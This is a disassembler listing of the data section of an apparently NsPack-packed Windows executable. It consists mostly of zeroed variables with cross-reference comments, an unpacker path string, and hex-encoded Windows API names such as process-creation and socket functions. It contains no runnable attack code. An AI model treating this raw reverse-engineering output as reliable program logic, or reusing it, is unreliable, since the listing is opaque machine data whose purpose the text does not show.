dword_4CBCAC	dd 41h dup(0)		; DATA XREF: sub_40ABD2+167o
dword_4CBDB0	dd 41h dup(0)		; DATA XREF: sub_40ABD2+18Co
dword_4CBEB4	dd 0			; DATA XREF: sub_40ABD2+21Bw
					; sub_40ABD2+237r
dword_4CBEB8	dd 0			; DATA XREF: sub_40ABD2+17Aw
dword_4CBEBC	dd 0			; DATA XREF: sub_40ABD2+175w
					; sub_40ABD2+1F8r
dword_4CBEC0	dd 20h dup(0)		; DATA XREF: sub_40ABD2+1BEo
					; sub_40ABD2+1DEo
dword_4CBF40	dd 0			; DATA XREF: sub_40ABD2+1B1w
dword_4CBF44	dd 0			; DATA XREF: sub_40ABD2+1CBw
					; sub_40ABD2+1EBw
dword_4CBF48	dd 0			; DATA XREF: sub_40ABD2:loc_40AE1Fr
		align 10h
dword_4CBF50	dd 0			; DATA XREF: sub_40ABD2+417w
					; sub_40ABD2+470o
dword_4CBF54	dd 0A2h	dup(0)		; DATA XREF: sub_40ABD2+405o
dword_4CC1DC	dd 41h dup(0)		; DATA XREF: sub_40ABD2+3CFo
dword_4CC2E0	dd 0			; DATA XREF: sub_40ABD2+3FCw
					; sub_40ABD2+423r
		align 8
dword_4CC2E8	dd 0			; DATA XREF: sub_40ABD2+466w
					; sub_40ABD2+482r
dword_4CC2EC	dd 0			; DATA XREF: sub_40ABD2+429w
dword_4CC2F0	dd 0			; DATA XREF: sub_40ABD2+436w
dword_4CC2F4	dd 0			; DATA XREF: sub_40ABD2+3F6w
		dd 0
dword_4CC2FC	dd 0			; DATA XREF: sub_40ABD2:loc_40B06Ar
		dd 0
dword_4CC304	dd 0			; DATA XREF: sub_40A825+Er
					; sub_40A825+31r ...
dword_4CC308	dd 0			; DATA XREF: sub_40A825+9r
					; sub_40A825+25r ...
dword_4CC30C	dd 82h dup(0)		; DATA XREF: sub_40B69C+8Do
dword_4CC514	dd 2 dup(0)		; DATA XREF: sub_40C005+68o
dword_4CC51C	dd 2080Ah		; DATA XREF: sub_40C9A9+8w
					; sub_40CAA5+2D3o
		dd 0
dword_4CC524	dd 2 dup(0)		; DATA XREF: sub_40CAA5+209o
dword_4CC52C	dd 0			; DATA XREF: sub_40D5C2+1Fr
					; sub_40D60D+BCo ...
dword_4CC530	dd 0			; DATA XREF: sub_40D60D+B7o
					; sub_40D60D+DAr ...
dword_4CC534	dd 0			; DATA XREF: sub_40D60D+9Ao
					; sub_40D60D+CFr ...
dword_4CC538	dd 0			; DATA XREF: sub_40D57F+35r
					; sub_40D60D+95o ...
dword_4CC53C	dd 0			; DATA XREF: sub_40D57F+17r
					; sub_40D5C2+3Dr ...
		dd 0
dword_4CC544	dd 0BBC5h		; DATA XREF: sub_40ABD2+2AEr
					; sub_40D7E2+10w ...
		dd 0
dword_4CC54C	dd 0			; DATA XREF: sub_40A890+1Br
					; sub_40D7F9+27Cw
dword_4CC550	dd 0			; DATA XREF: sub_40E0C5+2Aw
					; sub_40E0C5+51r ...
		align 10h
dword_4CC560	dd 0			; DATA XREF: sub_40F8B7+146r
		align 8
dword_4CC568	dd 0			; DATA XREF: sub_410D0B+4w
					; sub_410D0B+9o
		align 10h
byte_4CC570	db 0			; DATA XREF: sub_411854+1D3w
					; sub_411854+2D2o
		align 2
word_4CC572	dw 0			; DATA XREF: sub_411854+1E3w
word_4CC574	dw 0			; DATA XREF: sub_411854+1E9w
word_4CC576	dw 0			; DATA XREF: sub_411854+1F0w
byte_4CC578	db 0			; DATA XREF: sub_411854+1F7w
byte_4CC579	db 0			; DATA XREF: sub_411854+1FEw
word_4CC57A	dw 0			; DATA XREF: sub_411854+204w
dword_4CC57C	dd 0			; DATA XREF: sub_411854+234w
					; sub_411854+250w
dword_4CC580	dd 0			; DATA XREF: sub_411854+258w
byte_4CC584	db 0			; DATA XREF: sub_411854+26Aw
byte_4CC585	db 0			; DATA XREF: sub_411854+27Dw
word_4CC586	dw 0			; DATA XREF: sub_411854+295w
word_4CC588	dw 0			; DATA XREF: sub_411854+2A4w
word_4CC58A	dw 0			; DATA XREF: sub_411854+29Cw
dword_4CC58C	dd 101h	dup(0)		; DATA XREF: sub_411854+2B9o
dword_4CC990	dd 80h dup(0)		; DATA XREF: sub_401AC7+29D5o
					; sub_401AC7:loc_40454Bo ...
byte_4CCB90	db 0			; DATA XREF: sub_4130EE+19Fw
					; sub_4130EE+278o
		align 2
word_4CCB92	dw 0			; DATA XREF: sub_4130EE+1ACw
word_4CCB94	dw 0			; DATA XREF: sub_4130EE+1B6w
word_4CCB96	dw 0			; DATA XREF: sub_4130EE+1BFw
byte_4CCB98	db 0			; DATA XREF: sub_4130EE+1C6w
byte_4CCB99	db 0			; DATA XREF: sub_4130EE+1CDw
word_4CCB9A	dw 0			; DATA XREF: sub_4130EE+1D4w
dword_4CCB9C	dd 0			; DATA XREF: sub_4130EE+1E1w
dword_4CCBA0	dd 0			; DATA XREF: sub_4130EE+1E9w
word_4CCBA4	dw 0			; DATA XREF: sub_4130EE+242w
word_4CCBA6	dw 0			; DATA XREF: sub_4130EE+22Aw
word_4CCBA8	dw 0			; DATA XREF: sub_4130EE+254w
word_4CCBAA	dw 0			; DATA XREF: sub_4130EE+1F5w
dword_4CCBAC	dd 101h	dup(0)		; DATA XREF: sub_4130EE+263o
dword_4CCFB0	dd 0			; DATA XREF: sub_401AC7+16C2w
					; sub_401AC7+29CDr ...
		align 10h
byte_4CCFC0	db 0			; DATA XREF: sub_4135E0+241o
					; sub_4135E0+250w ...
byte_4CCFC1	db 0			; DATA XREF: sub_4135E0+264w
word_4CCFC2	dw 0			; DATA XREF: sub_4135E0+295w
word_4CCFC4	dw 0			; DATA XREF: sub_4135E0+27Cw
					; sub_4135E0:loc_4139B2w
word_4CCFC6	dw 0			; DATA XREF: sub_4135E0+29Bw
byte_4CCFC8	db 0			; DATA XREF: sub_4135E0+288w
byte_4CCFC9	db 0			; DATA XREF: sub_4135E0+25Dw
word_4CCFCA	dw 0			; DATA XREF: sub_4135E0+3F2w
					; sub_4135E0+41Cw
dword_4CCFCC	dd 0			; DATA XREF: sub_4135E0:loc_4138A9w
					; sub_4135E0+39Ar
dword_4CCFD0	dd 0			; DATA XREF: sub_4135E0+2D6w
word_4CCFD4	dw 0			; DATA XREF: sub_4135E0+394w
					; sub_4135E0+3E8o
word_4CCFD6	dw 0			; DATA XREF: sub_4135E0+335w
					; sub_4135E0+35Ar ...
dword_4CCFD8	dd 0			; DATA XREF: sub_4135E0+30Cw
					; sub_4135E0+3D9w
dword_4CCFDC	dd 0			; DATA XREF: sub_4135E0+328w
					; sub_4135E0+3ABw ...
byte_4CCFE0	db 0			; DATA XREF: sub_4135E0+311r
					; sub_4135E0+31Fw
byte_4CCFE1	db 0			; DATA XREF: sub_4135E0+2DBw
					; sub_4135E0+3A4w ...
word_4CCFE2	dw 0			; DATA XREF: sub_4135E0+2E9w
word_4CCFE4	dw 0			; DATA XREF: sub_4135E0+3F9w
					; sub_4135E0+42Aw
word_4CCFE6	dw 0			; DATA XREF: sub_4135E0+32Ew
word_4CCFE8	dw 0			; DATA XREF: sub_4135E0+360w
					; sub_4135E0+432o
word_4CCFEA	dw 0			; DATA XREF: sub_4135E0+36Fw
					; sub_4135E0+409w
dword_4CCFEC	dd 0			; DATA XREF: sub_4135E0+369w
		dd 2 dup(0)
dword_4CCFF8	dd 0			; DATA XREF: sub_4135E0+39Fw
					; sub_4135E0+417o
dword_4CCFFC	dd 0			; DATA XREF: sub_4135E0+33Bw
byte_4CD000	db 0			; DATA XREF: sub_4135E0+341w
byte_4CD001	db 0			; DATA XREF: sub_4135E0+347w
word_4CD002	dw 0			; DATA XREF: sub_4135E0+354w
dword_4CD004	dd 7 dup(0)		; DATA XREF: sub_4135E0+3EDo
dword_4CD020	dd 0			; DATA XREF: sub_4135E0+30w
					; sub_4135E0+43Br
dword_4CD024	dd 100h	dup(0)		; DATA XREF: sub_4135E0+1C3o
					; sub_4135E0+47Eo
dword_4CD424	dd 1000h dup(0)		; DATA XREF: sub_413B5E+1Do
					; sub_413BFEo ...
dword_4D1424	dd 0			; DATA XREF: sub_413B5E+13o
					; sub_413BFE+Eo ...
dword_4D1428	dd 0Eh dup(0)		; DATA XREF: sub_41444C+Fo
dword_4D1460	dd 0			; DATA XREF: sub_414992+22w
					; sub_414992:loc_414B14w ...
dword_4D1464	dd 0			; DATA XREF: sub_401AC7+371Ao
					; sub_414854+12o ...
		dd 0
dword_4D146C	dd 0			; DATA XREF: sub_414992+1Cr
					; sub_414B34+3Ar
		dd 7Fh dup(0)
dword_4D166C	dd 0			; DATA XREF: sub_414992+28r
					; sub_414B34+4Aw
		dd 0AB8h dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: .nsp0:off_4388FCo
		dd 0E8Bh dup(0)
dword_4D7B80	dd 0			; DATA XREF: sub_414B34+23o
dword_4D7B84	dd 81h dup(0)		; DATA XREF: sub_401AC7+3738o
					; sub_414854+3Co ...
dword_4D7D88	dd 17h dup(0)		; DATA XREF: sub_4158BF:loc_4159DCo
					; sub_4158BF+131o ...
dword_4D7DE4	dd 81h dup(0)		; DATA XREF: sub_4165F1+7Co
					; sub_4165F1+A5o
dword_4D7FE8	dd 17h dup(0)		; DATA XREF: sub_4164BD:loc_4165DFo
					; sub_4164BD+12Do
dword_4D8044	dd 81h dup(0)		; DATA XREF: sub_415B7A+4Bo
					; sub_415B7A+7Do ...
dword_4D8248	dd 80h dup(0)		; DATA XREF: sub_415E29+61o
					; sub_415E29+88o ...
dword_4D8448	dd 81h dup(0)		; DATA XREF: sub_415796+33o
					; sub_415796+50o ...
dword_4D864C	dd 0			; DATA XREF: sub_416A7E:loc_416A9Fr
					; sub_416B6D+54r ...
dword_4D8650	dd 0			; DATA XREF: sub_416A7Er
					; sub_416B6D+37r ...
dword_4D8654	dd 0			; DATA XREF: sub_416AAE+1Ar
					; sub_416CC2+83o
dword_4D8658	dd 0			; DATA XREF: sub_416A7E:loc_416A92r
					; sub_416CC2+11Bw
dword_4D865C	dd 0Dh dup(0)		; DATA XREF: sub_416B6D+13o
					; sub_416CC2:loc_416DFFo
dword_4D8690	dd 0			; DATA XREF: sub_416B6D+CDr
					; sub_416B6D+ECr ...
		align 8
dword_4D8698	dd 0Eh dup(0)		; DATA XREF: sub_417249+47o
dword_4D86D0	dd 0			; DATA XREF: sub_4180B6+1B9w
					; sub_4196EC:loc_419768w ...
dword_4D86D4	dd 0			; DATA XREF: sub_4197B4+35w
					; sub_419DC2:loc_419E5Cw ...
dword_4D86D8	dd 0			; DATA XREF: sub_41F514+13Ar
dword_4D86DC	dd 0A28h		; DATA XREF: sub_419C83+52w
dword_4D86E0	dd 501h			; DATA XREF: sub_419C83+49w
dword_4D86E4	dd 5			; DATA XREF: sub_419C83+3Ew
dword_4D86E8	dd 1			; DATA XREF: sub_419C83+30w
dword_4D86EC	dd 1			; DATA XREF: sub_401221:loc_401513r
					; sub_41E8B9+91w
dword_4D86F0	dd 950B00h		; DATA XREF: sub_401221+2FBr
					; sub_401221+31Br ...
		align 8
dword_4D86F8	dd 950A80h		; DATA XREF: sub_41E800+44w
					; sub_421573+9r ...
dword_4D86FC	dd 0			; DATA XREF: sub_421C2C+36r
dword_4D8700	dd 0			; DATA XREF: sub_421573+16r
					; sub_421941+4r ...
		align 8
off_4D8708	dd offset aCM_unpackerPac ; DATA XREF: sub_41E8B9+2Ew
					; "C:\\m_unpacker\\packed.exe"
		align 10h
byte_4D8710	db 0			; DATA XREF: sub_417CE3+2Dw
					; sub_41F4BC+5r
		align 4
dword_4D8714	dd 0			; DATA XREF: sub_417CE3+27w
dword_4D8718	dd 0			; DATA XREF: sub_417CE3+4r
					; sub_417CE3+8Bw
dword_4D871C	dd 0			; DATA XREF: sub_4185F4+3Br
					; sub_4185F4+91w
		dd 0
dword_4D8724	dd 0			; DATA XREF: sub_418C48+Aw
dword_4D8728	dd 0			; DATA XREF: sub_419581+5Er
					; sub_419581+A4w
		align 10h
word_4D8730	dw 0			; DATA XREF: sub_419581+55r
					; sub_419581+9Ao
word_4D8732	dw 0			; DATA XREF: sub_419581+48r
		db 2 dup(0)
word_4D8736	dw 0			; DATA XREF: sub_419581+3Br
word_4D8738	dw 0			; DATA XREF: sub_419581+2Er
word_4D873A	dw 0			; DATA XREF: sub_419581+21r
		align 10h
dword_4D8740	dd 0			; DATA XREF: sub_419C83+84w
					; sub_41E800:loc_41E812r ...
		align 8
dword_4D8748	dd 0			; DATA XREF: sub_419D79r sub_419D9Er ...
dword_4D874C	dd 0			; DATA XREF: sub_41ADF7r
dword_4D8750	dd 0			; DATA XREF: sub_4178D8:loc_4179D4r
					; sub_417A2Br ...
dword_4D8754	dd 1			; DATA XREF: sub_41B98E:loc_41BB09r
					; sub_41BB27+4w ...
dword_4D8758	dd 0			; DATA XREF: sub_41BF2B+37r
		align 10h
dword_4D8760	dd 0			; DATA XREF: sub_41D4BE+11r
					; sub_41D5C2+1Ar ...
byte_4D8764	db 0			; DATA XREF: sub_41D4BE+3r
					; sub_41D4BE+98r ...
		align 4
dword_4D8768	dd 0			; DATA XREF: sub_41D5C2+11r
					; sub_41D6A0+21w ...
byte_4D876C	db 0			; DATA XREF: sub_41D6A0+51w
		align 10h
dword_4D8770	dd 0			; DATA XREF: sub_41D896+4Er
					; sub_41DC71+3Ar ...
dword_4D8774	dd 0			; DATA XREF: sub_41D896+5Cr
					; sub_41DC71+43r ...
dword_4D8778	dd 0			; DATA XREF: sub_418ECE+7Ar
					; sub_41DA3D+5r
dword_4D877C	dd 0			; DATA XREF: sub_41E04C+29r
dword_4D8780	dd 2 dup(0)		; DATA XREF: sub_419660+Co
dword_4D8788	dd 0			; DATA XREF: sub_419A9C+4r
					; sub_419A9C+9Dr ...
		dd 3 dup(0)
dword_4D8798	dd 0			; DATA XREF: sub_419B84+61r
					; sub_419B84+BFr ...
		align 10h
dword_4D87A0	dd 1			; DATA XREF: sub_41E3D5+28r
					; sub_41E3D5+4Cw ...
dword_4D87A4	dd 0			; DATA XREF: sub_41E624+3Ar
					; sub_41E624+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41E8B9:loc_41E8D0o
					; .nsp0:off_4D8708o
		align 4
		dd 3Ah dup(0)
dword_4D88AC	dd 1			; DATA XREF: sub_41EB06+2r
					; sub_41EB06+23w ...
dword_4D88B0	dd 0			; DATA XREF: sub_41EEC4+21r
dword_4D88B4	dd 0			; DATA XREF: sub_41AE12+154w
					; sub_41BF2B:loc_41BF54w ...
dword_4D88B8	dd 0			; DATA XREF: sub_41AE12+7r
dword_4D88BC	dd 1			; DATA XREF: sub_41F7CD+26r
					; sub_41F7CD:loc_41F837w
word_4D88C0	dw 0			; DATA XREF: sub_4200C9+1Ao
					; sub_4200C9+46r
byte_4D88C2	db 0			; DATA XREF: sub_4200C9+39r
		align 4
dword_4D88C4	dd 7 dup(0)		; DATA XREF: sub_4200C9+52o
dword_4D88E0	dd 0			; DATA XREF: sub_4200C9+40w
					; sub_4200C9+5Co
dword_4D88E4	dd 0			; DATA XREF: sub_4200C9+4Dw
dword_4D88E8	dd 0			; DATA XREF: sub_4200C9+31w
dword_4D88EC	dd 0			; DATA XREF: sub_4200C9+52w
dword_4D88F0	dd 77C26E79h		; DATA XREF: sub_4201EC:loc_42020Fr
					; sub_4201EC+38r ...
		align 8
dword_4D88F8	dd 0			; DATA XREF: sub_4202CC+11w
					; sub_4202CC+63w ...
		align 10h
dword_4D8900	dd 0			; DATA XREF: sub_4202CC+33o
					; sub_4202CC+46r
dword_4D8904	dd 10h dup(0)		; DATA XREF: sub_4202CC+C1o
word_4D8944	dw 0			; DATA XREF: sub_42052A+A8r
word_4D8946	dw 0			; DATA XREF: sub_4202CC+54r
					; sub_42052A+DBr ...
word_4D8948	dw 0			; DATA XREF: sub_42052A+CAr
word_4D894A	dw 0			; DATA XREF: sub_42052A+D3r
					; sub_42052A:loc_42061Cr
word_4D894C	dw 0			; DATA XREF: sub_42052A+C0r
word_4D894E	dw 0			; DATA XREF: sub_42052A+B8r
word_4D8950	dw 0			; DATA XREF: sub_42052A+B0r
word_4D8952	dw 0			; DATA XREF: sub_42052A+9Er
dword_4D8954	dd 0			; DATA XREF: sub_4202CC+4Br
dword_4D8958	dd 10h dup(0)		; DATA XREF: sub_4202CC+FBo
word_4D8998	dw 0			; DATA XREF: sub_42052A+46r
word_4D899A	dw 0			; DATA XREF: sub_4202CC:loc_420343r
					; sub_42052A+78r ...
word_4D899C	dw 0			; DATA XREF: sub_42052A+67r
word_4D899E	dw 0			; DATA XREF: sub_42052A+70r
					; sub_42052A:loc_4205AEr
word_4D89A0	dw 0			; DATA XREF: sub_42052A+5Dr
word_4D89A2	dw 0			; DATA XREF: sub_42052A+55r
word_4D89A4	dw 0			; DATA XREF: sub_42052A+4Dr
word_4D89A6	dw 0			; DATA XREF: sub_42052A+3Er
dword_4D89A8	dd 0			; DATA XREF: sub_4202CC+80r
dword_4D89AC	dd 0			; DATA XREF: sub_4202CC+132r
					; sub_4202CC:loc_420418r ...
dword_4D89B0	dd 0			; DATA XREF: sub_4202B7r sub_4202B7+Ew
dword_4D89B4	dd 0			; DATA XREF: sub_420858+3r
					; sub_420858+2Ew ...
dword_4D89B8	dd 0			; DATA XREF: sub_420858+43w
					; sub_420858:loc_4208A7r
dword_4D89BC	dd 0			; DATA XREF: sub_420858+4Aw
					; sub_420858+60r
dword_4D89C0	dd 0			; DATA XREF: sub_41F514+3Fr
dword_4D89C4	dd 0			; DATA XREF: sub_421401:loc_421468r
					; sub_421401+6Do
dword_4D89C8	dd 0			; DATA XREF: sub_421401:loc_42143Fr
					; sub_421401+44o
dword_4D89CC	dd 0			; DATA XREF: sub_421401:loc_421432r
					; sub_421401+37o
dword_4D89D0	dd 0			; DATA XREF: sub_421401:loc_42144Cr
					; sub_421401+51o
		align 8
dword_4D89D8	dd 0			; DATA XREF: sub_4219AF+28r
					; sub_4219AF+48w ...
byte_4D89DC	db 1			; DATA XREF: sub_40C983r sub_40C983+9w ...
		align 10h
dword_4D89E0	dd 944968h		; DATA XREF: sub_419F40:loc_419F51r
					; sub_41AF82+14r ...
		dd 7 dup(0)
dword_4D8A00	dd 400h	dup(0)		; DATA XREF: .nsp0:off_43B278o
					; .nsp0:0043B280o
dword_4D9A00	dd 200h			; DATA XREF: sub_419F40+9r
					; sub_419F40+56r ...
		dd 7 dup(0)
dword_4D9A20	dd 950EF0h		; DATA XREF: sub_41AB28+75r
					; sub_41AC01+2Ar ...
dword_4D9A24	dd 3Fh dup(0)		; DATA XREF: sub_41EC38+92o
dword_4D9B20	dd 20h			; DATA XREF: sub_419DC2+8r
					; sub_41AC01+Cr ...
dword_4D9B24	dd 4E4h			; DATA XREF: sub_41B98E+14r
					; sub_41B98E+65w ...
		align 10h
dword_4D9B30	dd 3 dup(0)		; DATA XREF: sub_41B98E+123o
					; sub_41B98E+171o ...
dword_4D9B3C	dd 0			; DATA XREF: sub_41B98E+108w
					; sub_41B98E+15Dw ...
byte_4D9B40	db 0			; DATA XREF: sub_41BBCD:loc_41BCD9w
					; sub_41BBCD:loc_41BCF6w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4D9C40	db 0			; DATA XREF: sub_41B98E+5Co
					; sub_41B98E+AFo ...
byte_4D9C41	db 0			; DATA XREF: sub_417EE1+5Dr
					; sub_41B98E+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4D9D44	dd 0			; DATA XREF: sub_41B98E+6Ew
					; sub_41B98E+12Bw ...
dword_4D9D48	dd 10h			; DATA XREF: sub_419FE9+32w
					; sub_41A686+5r ...
dword_4D9D4C	dd 0			; DATA XREF: sub_41A052+239r
					; sub_41A052+259r ...
dword_4D9D50	dd 940650h		; DATA XREF: sub_419FE9+2Dw
					; sub_41A052+310w ...
dword_4D9D54	dd 0			; DATA XREF: sub_419FE9:loc_41A006w
					; sub_41A052+22Cr ...
dword_4D9D58	dd 1			; DATA XREF: sub_419FE9+24w
					; sub_41A027r ...
dword_4D9D5C	dd 940650h		; DATA XREF: sub_419FE9+15w
					; sub_41A027+8r ...
dword_4D9D60	dd 940000h		; DATA XREF: sub_4177C1+21r
					; sub_4178D8+A9r ...
dword_4D9D64	dd 142340h		; DATA XREF: sub_419C83+7Aw
					; sub_41E7A8+Fr ...
dword_4D9D68	dd 1			; DATA XREF: sub_41E800+ADw
					; sub_421573r
dword_4D9D6C	dd 1			; DATA XREF: sub_41BD52r
					; sub_41BD52+11w ...
dword_4D9D70	dd 950E6Ch		; DATA XREF: sub_417CE3+3Er
					; sub_4194D3+13r ...
dword_4D9D74	dd 950E60h		; DATA XREF: sub_417CE3+35r
					; sub_417CE3+57r ...
byte_4D9D78	db 1			; DATA XREF: sub_422224+15r
					; sub_422224+1Ew
		align 4
		dd 0A1h	dup(0)
		dd 7Fh,	0
		dd 23000h, 0D02E6824h, 0E79C6C92h, 2EF9EB66h, 0E1313D06h
		dd 84B1E102h, 6F205F9h,	0B863B503h, 37E6FC99h, 7D56B728h
		dd 93AB9613h, 0EB1AC45Bh, 0FDD8FE34h, 49573C4Ch, 75061F00h
		dd 3782DE8Ch, 7A90E3B4h, 0AAEF0606h, 819E67BFh,	0FC515968h
		dd 1460895Bh, 9776906Fh, 18D9E21Ah, 652ECE24h, 2F971A24h
		dd 83D3EF8h, 0B86387Ah,	960A3426h, 0E7A13F9Fh, 12000677h
		dd 0D000000h, 0BC000000h, 0CB000231h, 1371B2ACh, 2600h
		dd 1500h, 231C400h, 1C462200h, 5A8DDA36h, 18DE2CEh, 905D46F8h
		dd 90F4226Dh, 0AB157E7Bh, 571h,	3 dup(0)
		dd 46000000h, 54656C69h, 54656D69h, 7379536Fh, 546D6574h
		dd 53656D69h, 6E457465h, 6F726976h, 6E656D6Eh, 72615674h
		dd 6C626169h, 6F434165h, 7261706Dh, 72745365h, 57676E69h
		dd 706D6F43h, 53657261h, 6E697274h, 65534167h, 646E4574h
		dd 6946664Fh, 7349656Ch, 43646142h, 5065646Fh, 73497274h
		dd 52646142h, 50646165h, 65537274h, 686E5574h, 6C646E61h
		dd 78456465h, 74706563h, 466E6F69h, 65746C69h, 74654772h
		dd 69727453h, 7954676Eh, 47576570h, 74537465h, 676E6972h
		dd 65707954h, 756C4641h, 69466873h, 7542656Ch, 72656666h
		dd 74655373h, 48647453h, 6C646E61h, 74654765h, 656C6946h
		dd 65707954h, 53746547h, 61486474h, 656C646Eh, 48746553h
		dd 6C646E61h, 756F4365h, 6547746Eh, 766E4574h, 6E6F7269h
		dd 746E656Dh, 69727453h, 5773676Eh, 45746547h, 7269766Eh
		dd 656D6E6Fh, 7453746Eh, 676E6972h, 65724673h, 766E4565h
		dd 6E6F7269h, 746E656Dh, 69727453h, 5773676Eh, 65657246h
		dd 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h, 55417367h
		dd 6E61686Eh, 64656C64h, 65637845h, 6F697470h, 6C69466Eh
		dd 4C726574h, 70614D43h, 69727453h, 4C57676Eh, 70614D43h
		dd 69727453h, 4841676Eh, 53706165h, 52657A69h, 65736961h
		dd 65637845h, 6F697470h, 7465476Eh, 434D454Fh, 69784550h
		dd 6F725074h, 73736563h, 736F6C43h, 6E614865h, 43656C64h
		dd 74616572h, 6F725065h, 73736563h, 74654741h, 75646F4Dh
		dd 6946656Ch, 614E656Ch, 4741656Dh, 79537465h, 6D657473h
		dd 65726944h, 726F7463h, 6C534179h, 43706565h, 74616572h
		dd 72685465h, 44646165h, 74656C65h, 6C694665h, 704F4165h
		dd 72506E65h, 7365636Fh, 74654773h, 72727543h, 50746E65h
		dd 65636F72h, 64497373h, 4C746547h, 45747361h, 726F7272h
		dd 79706F43h, 656C6946h, 74655341h, 656C6946h, 72747441h
		dd 74756269h, 47417365h, 69467465h, 7441656Ch, 62697274h
		dd 73657475h, 74654741h, 75646F4Dh, 6148656Ch, 656C646Eh
		dd 69615741h, 726F4674h, 676E6953h, 624F656Ch, 7463656Ah
		dd 61657243h, 754D6574h, 41786574h, 54746547h, 436B6369h
		dd 746E756Fh, 6D726554h, 74616E69h, 72685465h, 47646165h
		dd 65547465h, 6150706Dh, 4D416874h, 4665766Fh, 41656C69h
		dd 64616F4Ch, 7262694Ch, 41797261h, 50746547h, 41636F72h
		dd 65726464h, 65477373h, 6D6F4374h, 65747570h, 6D614E72h
		dd 65474165h, 636F4C74h, 49656C61h, 416F666Eh, 56746547h
		dd 69737265h, 78456E6Fh, 69784541h, 72685474h, 4C646165h
		dd 65766165h, 74697243h, 6C616369h, 74636553h, 456E6F69h
		dd 7265746Eh, 74697243h, 6C616369h, 74636553h, 496E6F69h
		dd 6974696Eh, 7A696C61h, 69724365h, 61636974h, 6365536Ch
		dd 6E6F6974h, 53646E41h, 436E6970h, 746E756Fh, 656C6544h
		dd 72436574h, 63697469h, 65536C61h, 6F697463h, 6972576Eh
		dd 69466574h, 7243656Ch, 65746165h, 6E657645h, 65524174h
		dd 69466461h, 7243656Ch, 65746165h, 656C6946h, 72655441h
		dd 616E696Dh, 72506574h, 7365636Fh, 70754473h, 6163696Ch
		dd 61486574h, 656C646Eh, 43746547h, 65727275h, 7250746Eh
		dd 7365636Fh, 65724373h, 50657461h, 47657069h, 69547465h
		dd 6F46656Dh, 74616D72h, 74654741h, 65746144h, 6D726F46h
		dd 47417461h, 69467465h, 6953656Ch, 6946657Ah, 6C43646Eh
		dd 4665736Fh, 54656C69h, 54656D69h, 636F4C6Fh, 69466C61h
		dd 6954656Ch, 6946656Dh, 654E646Eh, 69467478h, 4641656Ch
		dd 46646E69h, 74737269h, 656C6946h, 74655341h, 656C6946h
		dd 6E696F50h, 53726574h, 6F437465h, 6C6F736Eh, 72744365h
		dd 6E61486Ch, 72656C64h, 74696157h, 4D726F46h, 69746C75h
		dd 4F656C70h, 63656A62h, 65477374h, 6172656Eh, 6F436574h
		dd 6C6F736Eh, 72744365h, 6576456Ch, 7551746Eh, 50797265h
		dd 6F667265h, 6E616D72h, 6F436563h, 65746E75h, 65755172h
		dd 65507972h, 726F6672h, 636E616Dh, 65724665h, 6E657571h
		dd 65477963h, 636F4C74h, 69546C61h, 6F46656Dh, 74616D72h
		dd 7373654Dh, 41656761h, 626F6C47h, 6E556C61h, 6B636F6Ch
		dd 626F6C47h, 6F4C6C61h, 6E556B63h, 5670616Dh, 4F776569h
		dd 6C694666h, 70614D65h, 77656956h, 6946664Fh, 7243656Ch
		dd 65746165h, 656C6946h, 7070614Dh, 41676E69h, 46746553h
		dd 54656C69h, 47656D69h, 69467465h, 6954656Ch, 7845656Dh
		dd 646E6170h, 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h
		dd 46417367h, 4C656572h, 61726269h, 69577972h, 68436564h
		dd 6F547261h, 746C754Dh, 74794269h, 6C754D65h, 79426974h
		dd 6F546574h, 65646957h, 72616843h, 7274736Ch, 69706D63h
		dd 74654741h, 74697845h, 65646F43h, 636F7250h, 50737365h
		dd 4E6B6565h, 64656D61h, 65706950h, 626F6C47h, 654D6C61h
		dd 79726F6Dh, 74617453h, 65487375h, 72467061h, 65486565h
		dd 65527061h, 6F6C6C41h, 61654863h, 6C6C4170h, 7452636Fh
		dd 776E556Ch, 47646E69h, 69547465h, 6F5A656Dh, 6E49656Eh
		dd 6D726F66h, 6F697461h, 7465476Eh, 74737953h, 69546D65h
		dd 6547656Dh, 61745374h, 70757472h, 6F666E49h, 74654741h
		dd 6D6D6F43h, 4C646E61h, 41656E69h, 56746547h, 69737265h
		dd 65486E6Fh, 65447061h, 6F727473h, 61654879h, 65724370h
		dd 56657461h, 75747269h, 72466C61h, 69566565h, 61757472h
		dd 6C6C416Ch, 7349636Fh, 57646142h, 65746972h, 47727450h
		dd 50437465h, 6F666E49h, 41746547h, 4E575043h, 64417465h
		dd 6E6F4364h, 7463656Eh, 326E6F69h, 7FF41h, 0FFF8000h
		dd 0FF800000h, 8000000Ch, 74FFh, 73FF80h, 15FF8000h, 0FF800000h
		dd 8000000Ah, 2FFh, 0DFF80h, 1FF8000h, 57800000h, 6F534153h
		dd 74656B63h, 0BFF41h, 9FF8000h, 0FF800000h, 80000004h
		dd 10FFh, 3FF80h, 17FF8000h, 0FF800000h, 80000013h, 12FFh
		dd 97FF80h, 6FF8000h, 800000h, 21Bh dup(0)
_nsp0		ends

; Section 2. (virtual address 000DB000)
; Virtual size			: 00018000 (  98304.)
; Section size in file		: 00018000 (  98304.)
; Offset to raw	data for section: 000DB000
